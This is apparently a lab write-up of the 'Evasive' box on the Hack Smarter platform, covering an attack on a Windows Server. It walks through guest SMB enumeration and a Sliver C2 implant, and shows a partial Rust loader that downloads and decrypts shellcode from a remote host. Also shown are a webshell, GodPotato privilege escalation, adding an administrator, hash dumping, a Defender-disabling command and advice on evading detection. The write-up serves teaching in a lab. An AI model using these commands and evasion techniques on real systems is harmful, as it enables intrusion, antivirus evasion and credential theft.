Hack Smarter - Evasive
January 26, 2026Hack Smarter - Evasive Write Up
I felt compelled to create this write up because I really like this box. There’s also a few things I’ve really liked about this new platform. For one, not being tied to a particular course means we have more interesting room for scope. And for two, well I do think allowing public writeups helps everyone. This write up somewhat responds to the live stream Tyler ran whilst working on this lab. If you haven’t seen it, I highly recommend having a look through:
https://www.youtube.com/watch?v=CcadzJh2O44&list=PLMoaZm9nyKaOUrEWwohv1ZdPmX2qX2A4t
In particular, we’re going to skip most enumeration to focus on the parts I thought were interesting or different. I’ve also sought different processes from the initial 0xb0b writeup. And obviously - I’m coming at this with the benefit of only presenting parts that worked, as opposed to a live stream.
Enumerating out guest access
Tyler’s video initially notes that an anonymous SMB connection was unable to operate successfully with netexec, but then connects correctly with smbclient. The subtle difference is that smbclient with no username actually provides a default username, which Windows interprets as “Guest”. Netexec actually has separate documents worth reading to explain this:
- https://www.netexec.wiki/smb-protocol/enumeration/enumerate-null-sessions
- https://www.netexec.wiki/smb-protocol/enumeration/enumerate-guest-logon
So abusing this, we see as follows:
none@kali:~/practice/evasion$ nxc smb 10.0.16.186 -u '' -p ''
SMB 10.0.16.186 445 WINSERVER01 [*] Windows Server 2022 Build 20348 x64 (name:WINSERVER01) (domain:Winserver01) (signing:False) (SMBv1:False)
SMB 10.0.16.186 445 WINSERVER01 [-] Winserver01\: STATUS_ACCESS_DENIED
none@kali:~/practice/evasion$ nxc smb 10.0.16.186 -u 'a' -p ''
SMB 10.0.16.186 445 WINSERVER01 [*] Windows Server 2022 Build 20348 x64 (name:WINSERVER01) (domain:Winserver01) (signing:False) (SMBv1:False)
SMB 10.0.16.186 445 WINSERVER01 [+] Winserver01\a: (Guest)
none@kali:~/practice/evasion$ nxc smb 10.0.16.186 -u 'a' -p '' --shares
SMB 10.0.16.186 445 WINSERVER01 [*] Windows Server 2022 Build 20348 x64 (name:WINSERVER01) (domain:Winserver01) (signing:False) (SMBv1:False)
SMB 10.0.16.186 445 WINSERVER01 [+] Winserver01\a: (Guest)
SMB 10.0.16.186 445 WINSERVER01 [*] Enumerated shares
SMB 10.0.16.186 445 WINSERVER01 Share Permissions Remark
SMB 10.0.16.186 445 WINSERVER01 ----- ----------- ------
SMB 10.0.16.186 445 WINSERVER01 ADMIN$ Remote Admin
SMB 10.0.16.186 445 WINSERVER01 C$ Default share
SMB 10.0.16.186 445 WINSERVER01 docs READ
SMB 10.0.16.186 445 WINSERVER01 IPC$ READ Remote IPCThis should lead to two things, first, a rid-brute:
none@kali:~/practice/evasion$ nxc smb 10.0.16.186 -u 'a' -p '' --rid-brute
SMB 10.0.16.186 445 WINSERVER01 [*] Windows Server 2022 Build 20348 x64 (name:WINSERVER01) (domain:Winserver01) (signing:False) (SMBv1:False)
SMB 10.0.16.186 445 WINSERVER01 [+] Winserver01\a: (Guest)
SMB 10.0.16.186 445 WINSERVER01 500: WINSERVER01\Administrator (SidTypeUser)
SMB 10.0.16.186 445 WINSERVER01 501: WINSERVER01\Guest (SidTypeUser)
SMB 10.0.16.186 445 WINSERVER01 503: WINSERVER01\DefaultAccount (SidTypeUser)
SMB 10.0.16.186 445 WINSERVER01 504: WINSERVER01\WDAGUtilityAccount (SidTypeUser)
SMB 10.0.16.186 445 WINSERVER01 513: WINSERVER01\None (SidTypeGroup)
SMB 10.0.16.186 445 WINSERVER01 1000: WINSERVER01\alfonso (SidTypeUser)
SMB 10.0.16.186 445 WINSERVER01 1001: WINSERVER01\roger (SidTypeUser)And obtaining the contents of that “docs” folder:
none@kali:~/practice/evasion$ smbclient '\\10.0.16.186\Docs'
Password for [WORKGROUP\none]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Oct 13 02:22:48 2025
.. DHS 0 Mon Oct 13 08:11:59 2025
mail_doc.pdf A 1517 Mon Oct 13 02:20:03 2025
old_user_setup_doc.pdf A 5185 Mon Oct 13 02:22:48 2025
7863807 blocks of size 4096. 1871047 blocks available
smb: \> get mail_doc.pdf
getting file \mail_doc.pdf of size 1517 as mail_doc.pdf (1.3 KiloBytes/sec) (average 1.3 KiloBytes/sec)
smb: \> get old_user_setup_doc.pdf
getting file \old_user_setup_doc.pdf of size 5185 as old_user_setup_doc.pdf (5.0 KiloBytes/sec) (average 3.1 KiloBytes/sec)I’m not going to spoil the special trick regarding passwords, but allow me to point out that many real world organisations with scheduled password expiry nearly always have a bunch of users with exactly this sort of thing going on.
Accessing Roger’s Mail
I’m glad Tyler had issues with Evolution, because so did I. I really feel there’s something unintuitive about the UI, because mail clients that I’m used to would simply popup saying “Nah mate try a different password” as opposed to locking an account out, which I managed to do even knowing the password before installing Evolution.
Initial Sliver setup
This walkthrough was done on the recently released Sliver 1.6.6. On one hand this is a bit of an exciting release as 1.6 was due for a long time. But pretty soon I hit this particular bug, which is frustrating for a number of reasons. One of those being that “disable encoding” runs counter to attempting to run evasion. However, a new feature we do have is the ability to edit this file:
~/.sliver/configs/server.json
And set this:
"donut_bypass": 1,
Now, why? Because the “donut” tool used by Sliver when generating implants, by default, bundles an AMSI bypass. The theory is that this assists with evasion. However, the bypass in question is very well signatured and very affective at setting off Windows Defender. It’s objectively better disabling it, and if you find an AMSI bypass important you can bundle your own in your loader.
Now lets setup an implant:
sliver > profiles new --mtls 10.200.32.3:8088 --format shellcode winserver
[*] Saved new implant profile winserver
sliver > mtls -l 8088
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > profiles generate winserver -G
[*] Generating new windows/amd64 implant binarySimilar to the AMSI bypass issue, note that “profiles” has a --evasive parameter, but I found trying to use it made everything get flagged by behavioural detection as soon as it executed.
Sliver - error reporting
A side note here is that I initially missed the arguement and was running “mtls 8088”. This claims to run correctly, but then simply binds to the wrong port (silently). You’re lucky I wasn’t streaming because you didn’t want to watch me debug this for an hour. I would really have appreciated an error message here. But on with the code.
Like Tyler I have a custom loader - I’m going to avoid publishing mine in full because I want it to keep working, but it’s written in Rust and includes its own encrypter. One of the goals here is that in a real world, I can host the stager blob somewhere other than my Sliver server. This is quite helpful in hampering red team forensics, because that blob might be on some unrelated Wordpress site. Enough of this to demonstate its function is shown here.
fn get_code() -> Result<Vec<u8>, ureq::Error> {
let agent = ureq::agent();
let mut bytes: Vec<u8> = Vec::new();
agent
.get("http://url/MY_BLOB.enc")
.call()?
.body_mut()
.as_reader()
.read_to_end(&mut bytes)?;
Ok(bytes)
}
fn decrypt_shellcode(shellcode: &[u8]) -> Result<Vec<u8>, Box<dyn std::error::Error>> {
// Hardcoded 32-byte key (must match the encryption key)
let key_bytes: [u8; 32] = [
/// NEVER REPEATED
];
let key = chacha20poly1305::Key::from_slice(&key_bytes);
let cipher = XChaCha20Poly1305::new(key);So to build our app, we’re going to do the following, using the Sliver bundled shellcode as the input.
cargo run --bin encrypt -- UGLY_MOST.bin
Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.11s
Running `target\debug\encrypt.exe UGLY_MOST.bin`That’s going to give us a .enc file to host. Then fresh compile our dropper with the right URL and email it to our victim.
cargo build --release
Compiling calcpopper v0.1.0 (C:\Migrated\calcpopper)
Finished `release` profile [optimized] target(s) in 7.01sTyler notes that attaching an executable would never work in the real world and I have to say, it would never work to the point I would never have tried this. Emailing a URL that a victim can download from should be far more likely. But I digress, because running this process gave us our first shell.
sliver (UGLY_MOST) > whoami
Logon ID: WINSERVER01\alfonso
[*] Current Token ID: WINSERVER01\alfonsoTraversal to the IIS Virtual User
Once the next vector was identified, Tyler used a revshell found on Github. Personally I used this file that ships with Kali: /usr/share/webshells/aspx/cmdasp.aspx. Rather than a revshell, it let me run random commands, including just spawning another Sliver implant run as the IIS Virtual User.
Side Note - Defender?
This to me is surprising. Both of these have been public for a long time. If you’ve done a certain HTB Pro Lab, one of the specific challenges is getting a webshell uploaded without Defender killing it, despite that lab being several years old. It leaves me wondering if there’s a regression in Defender somewhere.
Regardless, let’s enumerate our privileges:
sliver (RETIRED_WISEGUY) > execute -o whoami /priv
[*] Execute: whoami [/priv]
[*] Output:
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledPotatoes
Once again I’m surprised by Defender, as Tyler shows us compiling the EfsPotato exploit that is more than five years old, and having it not be flagged by Defender.
The process we use below runs GodPotato, which is definitely flagged, but by executing in memory and avoiding disks, we get away with launching a new implant like so.
sliver (RETIRED_WISEGUY) > execute-assembly GodPotato-NET4.exe -- -cmd "c:\inetpub\wwwroot\calcpopper.exe"
⠇ Executing assembly ...
[!] rpc error: code = DeadlineExceeded desc = implant timeout
sliver (RETIRED_WISEGUY) >
sliver (RETIRED_WISEGUY) > use
[*] Active session RETIRED_WISEGUY (17b85da9-6a5b-4847-b5ea-6d39cb24841e)
This new session can make our existing user an admin.
sliver (RETIRED_WISEGUY) > execute -o net localgroup administrators roger /add
[*] Execute: net [localgroup administrators roger /add]
[*] Output:
The command completed successfully.
We also needed to do the following to access the Roger account remotely. I will say this rarely matters in business, because Domain based accounts are not affected by this default.
sliver (RETIRED_WISEGUY) > execute -o reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
[*] Execute: reg [add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f]
[*] Output:
The operation completed successfully.
Post Compromise
Technically you can dump hashes from Sliver, like so:
sliver (RETIRED_WISEGUY) > armory install hashdump
[*] Installing extension 'hashdump' (v1.0.0) ...
sliver (RETIRED_WISEGUY) > hashdump
[*] Successfully executed hashdump
[*] Got output:
Administrator:500:Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
Guest:501:Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
DefaultAccount:503:DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
WDAGUtilityAccount:504:WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
alfonso:1000:alfonso:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
roger:1001:roger:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::You’ll note however, all the given hashes are the hash for the “Empty string”, which is caused by Defender getting in the way. The most simply way to evade Defender at this point is do it through netexec.
none@kali:~/practice/evasion$ nxc smb 10.0.16.82 -u 'roger' -p 'REDACTED' --sam
This will get you all but the last challenge.
Taking a screenshot
You can actually take a screenshot with Sliver right back when you first get an unprivileged logon for Alfonso.
sliver (UGLY_MOST) > screenshot
[*] Screenshot written to /tmp/screenshot_Winserver01_20260126104213_3220073968.png (78.3 KiB)Disabling Defender
It turns out this is unnecessary. But if you’d like to, this will take care of it. Decode the Base64 yourself if you’d like to see what’s going on.
sliver (RETIRED_WISEGUY) > sharpsh -- '-e -c U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZQ=='
[*] sharpsh output:
Dumping Keepass with Netexec
Netexec actually has a module for this specific task:
https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-keepass
This has worked on every box I’ve done with Keepass except this one. Why? I don’t know. But I showed you how to execute as SYSTEM - at this point you can reset Alfonso’s password and RDP in.